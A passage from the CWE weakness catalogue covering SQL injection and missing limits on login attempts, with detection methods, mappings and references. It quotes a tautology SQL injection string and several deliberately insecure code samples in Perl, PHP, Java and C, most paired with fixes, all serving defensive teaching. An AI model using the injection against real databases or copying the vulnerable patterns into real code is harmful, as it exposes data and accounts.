SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

(good code)
Example Language: PHP 
$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.


Example 6

This example attempts to take a last name provided by a user and enter it into a database.

(bad code)
Example Language: Perl 
$userKey = getUserID();
$name = getUserInput();

# ensure only letters, hyphens and apostrophe are allowed
$name = allowList($name, "^a-zA-z'-$");
$query = "INSERT INTO last_names VALUES('$userKey', '$name')";

While the programmer applies an allowlist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens, which are used as comment structures in SQL. If a user specifies "--" then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the allowlist permits the apostrophe, which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.


+ Observed Examples
Reference Description
SQL injection in security product dashboard using crafted certificate fields
SQL injection in time and billing software, as exploited in the wild per CISA KEV.
SQL injection in file-transfer system via a crafted Host header, as exploited in the wild per CISA KEV.
SQL injection in firewall product's admin interface or user portal, as exploited in the wild per CISA KEV.
An automation system written in Go contains an API that is vulnerable to SQL injection allowing the attacker to read privileged data.
chain: SQL injection in library intended for database authentication allows SQL injection and authentication bypass.
SQL injection through an ID that was supposed to be numeric.
SQL injection through an ID that was supposed to be numeric.
SQL injection via user name.
SQL injection via user name or password fields.
SQL injection in security product, using a crafted group name.
SQL injection in authentication library.
SQL injection in vulnerability management and reporting tool, using a crafted password.
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or do not require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis.

Note: This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Database Scanners
Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 635 Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 713 OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 722 OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 727 OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 751 2009 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 801 2010 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 810 OWASP Top Ten 2010 Category A1 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 864 2011 Top 25 - Insecure Interaction Between Components
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 929 OWASP Top Ten 2013 Category A1 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 990 SFP Secondary Cluster: Tainted Input to Command
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1005 7PK - Input Validation and Representation
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1027 OWASP Top Ten 2017 Category A1 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1131 CISQ Quality Measures (2016) - Security
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1308 CISQ Quality Measures - Security
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1340 CISQ Data Protection Measures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1347 OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1409 Comprehensive Categorization: Injection
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

SQL injection can be resultant from special character mismanagement, MAID, or denylist/allowlist problems. It can be primary to authentication errors.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER SQL injection
7 Pernicious Kingdoms SQL Injection
CLASP SQL injection
OWASP Top Ten 2007 A2 CWE More Specific Injection Flaws
OWASP Top Ten 2004 A1 CWE More Specific Unvalidated Input
OWASP Top Ten 2004 A6 CWE More Specific Injection Flaws
WASC 19 SQL Injection
Software Fault Patterns SFP24 Tainted input to command
OMG ASCSM ASCSM-CWE-89
SEI CERT Oracle Coding Standard for Java IDS00-J Exact Prevent SQL injection
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 1: SQL Injection." Page 3. McGraw-Hill. 2010.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 12, "Database Input Issues" Page 397. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-867] OWASP. "SQL Injection Prevention Cheat Sheet". <http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet>.
[REF-868] Steven Friedl. "SQL Injection Attacks by Example". 2007-10-10. <http://www.unixwiz.net/techtips/sql-injection.html>.
[REF-869] Ferruh Mavituna. "SQL Injection Cheat Sheet". 2007-03-15. <https://web.archive.org/web/20080126180244/http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>. URL validated: 2023-04-07.
[REF-870] David Litchfield, Chris Anley, John Heasman and Bill Grindlay. "The Database Hacker's Handbook: Defending Database Servers". Wiley. 2005-07-14.
[REF-871] David Litchfield. "The Oracle Hacker's Handbook: Hacking and Defending Oracle". Wiley. 2007-01-30.
[REF-872] Microsoft. "SQL Injection". 2008-12. <https://learn.microsoft.com/en-us/previous-versions/sql/sql-server-2008-r2/ms161953(v=sql.105)?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-873] Microsoft Security Vulnerability Research & Defense. "SQL Injection Attack". <https://msrc.microsoft.com/blog/2008/05/sql-injection-attack/>. URL validated: 2023-04-07.
[REF-874] Michael Howard. "Giving SQL Injection the Respect it Deserves". 2008-05-15. <https://learn.microsoft.com/en-us/archive/blogs/michael_howard/giving-sql-injection-the-respect-it-deserves>. URL validated: 2023-04-07.
[REF-875] Frank Kim. "Top 25 Series - Rank 2 - SQL Injection". SANS Software Security Institute. 2010-03-01. <https://www.sans.org/blog/top-25-series-rank-2-sql-injection/>. URL validated: 2023-04-07.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "SQL Queries", Page 431. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "SQL Injection", Page 1061. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-89. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
[REF-1447] Cybersecurity and Infrastructure Security Agency. "Secure by Design Alert: Eliminating SQL Injection Vulnerabilities in Software". 2024-03-25. <https://www.cisa.gov/resources-tools/resources/secure-design-alert-eliminating-sql-injection-vulnerabilities-software>. URL validated: 2024-07-14.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution Date Contributor Organization
2024-02-29
(CWE 4.15, 2024-07-16)
Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2008-07-01
(CWE 1.0, 2008-09-09)
Eric Dalci Cigital
updated Time_of_Introduction
2008-08-01
(CWE 1.0, 2008-09-09)
KDM Analytics
added/updated white box definitions
2008-08-15
(CWE 1.0, 2008-09-09)
Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Modes_of_Introduction, Name, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-10-14 CWE Content Team MITRE
updated Description
2008-11-24 CWE Content Team MITRE
updated Observed_Examples
2009-01-12 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-05-27 CWE Content Team MITRE
updated Demonstrative_Examples, Name, Related_Attack_Patterns
2009-07-17 KDM Analytics
Improved the White_Box_Definition
2009-07-27 CWE Content Team MITRE
updated Description, Name, White_Box_Definitions
2009-12-28 CWE Content Team MITRE
updated Potential_Mitigations
2010-02-16 CWE Content Team MITRE
updated Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05 CWE Content Team MITRE
updated Demonstrative_Examples, Potential_Mitigations
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Name, Potential_Mitigations, References, Relationships
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2011-03-29 CWE Content Team MITRE
updated Demonstrative_Examples
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References
2012-05-11 CWE Content Team MITRE
updated Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2013-07-17 CWE Content Team MITRE
updated Relationships
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-05-03 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, Observed_Examples, References, Relationships, White_Box_Definitions
2018-03-27 CWE Content Team MITRE
updated References, Relationships
2019-01-03 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20 CWE Content Team MITRE
updated Relationships
2019-09-19 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Potential_Mitigations, Relationships, Time_of_Introduction
2020-06-25 CWE Content Team MITRE
updated Demonstrative_Examples, Potential_Mitigations, Relationship_Notes
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2021-07-20 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-06-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2022-10-13 CWE Content Team MITRE
updated Observed_Examples, References
2023-01-31 CWE Content Team MITRE
updated Demonstrative_Examples, Description
2023-04-27 CWE Content Team MITRE
updated References, Relationships, Time_of_Introduction
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content Team MITRE
updated Alternate_Terms, Common_Consequences, Description, Diagram, References
2024-11-19
(CWE 4.16, 2024-11-19)
CWE Content Team MITRE
updated Relationships
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 SQL Injection
2008-09-09 Failure to Sanitize Data into SQL Queries (aka 'SQL Injection')
2009-01-12 Failure to Sanitize Data within SQL Queries (aka 'SQL Injection')
2009-05-27 Failure to Preserve SQL Query Structure (aka 'SQL Injection')
2009-07-27 Failure to Preserve SQL Query Structure ('SQL Injection')
2010-06-21 Improper Sanitization of Special Elements used in an SQL Command ('SQL Injection')

CWE-307: Improper Restriction of Excessive Authentication Attempts

Weakness ID: 307
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame. Diagram for CWE-307
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Access Control

Technical Impact: Bypass Protection Mechanism

An attacker could perform an arbitrary number of authentication attempts using different passwords, and eventually gain access to the targeted account using a brute force attack.
+ Potential Mitigations

Phase: Architecture and Design

Common protection mechanisms include:

  • Disconnecting the user after a small number of failed attempts
  • Implementing a timeout
  • Locking out a targeted account
  • Requiring a computational task on the user's part.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [REF-45]

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 799 Improper Control of Interaction Frequency
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1390 Weak Authentication
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1211 Authentication Errors
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts [REF-236]. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Example 1 References:
[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07.

Example 2

The following code, extracted from a servlet's doPost() method, performs an authentication lookup every time the servlet is invoked.

(bad code)
Example Language: Java 
String username = request.getParameter("username");
String password = request.getParameter("password");

int authResult = authenticateUser(username, password);

However, the software makes no attempt to restrict excessive authentication attempts.


Example 3

This code attempts to limit the number of login attempts by causing the process to sleep before completing the authentication.

(bad code)
Example Language: PHP 
$username = $_POST['username'];
$password = $_POST['password'];
sleep(2000);
$isAuthenticated = authenticateUser($username, $password);

However, there is no limit on parallel connections, so this does not increase the amount of time an attacker needs to complete an attack.


Example 4

In the following C/C++ example the validateUser method opens a socket connection, reads a username and password from the socket and attempts to authenticate the username and password.

(bad code)
Example Language:
int validateUser(char *host, int port)
{
int socket = openSocketConnection(host, port);
if (socket < 0) {
printf("Unable to open socket connection");
return(FAIL);
}

int isValidUser = 0;
char username[USERNAME_SIZE];
char password[PASSWORD_SIZE];

while (isValidUser == 0) {
if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
isValidUser = AuthenticateUser(username, password);
}
}
}
return(SUCCESS);
}

The validateUser method will continuously check for a valid username and password without any restriction on the number of authentication attempts made. The method should limit the number of authentication attempts made to prevent brute force attacks as in the following example code.

(good code)
Example Language:
int validateUser(char *host, int port)
{
...

int count = 0;
while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
isValidUser = AuthenticateUser(username, password);
}
}
count++;
}
if (isValidUser) {
return(SUCCESS);
}
else {
return(FAIL);
}
}

Example 5

Consider this example from a real-world attack against the iPhone [REF-1218]. An attacker can use brute force methods; each time there is a failed guess, the attacker quickly cuts the power before the failed entry is recorded, effectively bypassing the intended limit on the number of failed authentication attempts. Note that this attack requires removal of the cell phone battery and connecting directly to the phone's power source, and the brute force attack is still time-consuming.


+ Observed Examples
Reference Description
the REST API for a network OS has a high limit for number of connections, allowing brute force password guessing
Product does not disconnect or timeout after multiple failed logins.
Product does not disconnect or timeout after multiple failed logins.
Product does not disconnect or timeout after multiple failed logins.
Product does not disconnect or timeout after multiple failed logins.
Product does not disconnect or timeout after multiple failed logins.
User accounts not disabled when they exceed a threshold; possibly a resultant problem.
+ Detection Methods

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners
Cost effective for partial coverage:
  • Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer
Cost effective for partial coverage:
  • Forced Path Execution

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 724 OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 808 2010 Top 25 - Weaknesses On the Cusp
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 812 OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 866 2011 Top 25 - Porous Defenses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 955 SFP Secondary Cluster: Unrestricted Authentication
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER AUTHENT.MULTFAIL Multiple Failed Authentication Attempts not Prevented
Software Fault Patterns SFP34 Unrestricted authentication
+ References
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07.
[REF-1218] Graham Cluley. "This Black Box Can Brute Force Crack iPhone PIN Passcodes". The Mac Security Blog. 2015-03-16. <https://www.intego.com/mac-security-blog/iphone-pin-pass-code/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution Date Contributor Organization
2024-09-10
(CWE 4.16, 2024-11-19)
Abhi Balakrishnan
Contributed usability diagram concepts used by the CWE team
+ Modifications
Modification Date Modifier Organization
2008-07-01 Sean Eidemiller Cigital
added/updated demonstrative examples
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2009-03-10 CWE Content Team MITRE
updated Relationships
2009-07-27 CWE Content Team MITRE
updated Observed_Examples
2009-12-28 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Potential_Mitigations
2010-02-16 CWE Content Team MITRE
updated Demonstrative_Examples, Name, Potential_Mitigations, Relationships, Taxonomy_Mappings
2010-04-05 CWE Content Team MITRE
updated Demonstrative_Examples
2011-03-29 CWE Content Team MITRE
updated Demonstrative_Examples
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-06-27 CWE Content Team MITRE
updated Common_Consequences, Related_Attack_Patterns, Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships
2012-05-11 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships
2019-06-20 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2020-02-24 CWE Content Team MITRE
updated Detection_Factors, Relationships
2020-08-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2021-10-28 CWE Content Team MITRE
updated Demonstrative_Examples, References, Relationships
2022-10-13 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Observed_Examples, References, Relationships
2023-04-27 CWE Content Team MITRE
updated Demonstrative_Examples, References, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2024-11-19
(CWE 4.16, 2024-11-19)
CWE Content Team MITRE
updated Common_Consequences, Description, Diagram
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Multiple Failed Authentication Attempts not Prevented
2010-02-16 Failure to Restrict Excessive Authentication Attempts

CWE-326: Inadequate Encryption Strength

Weakness ID: 326
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
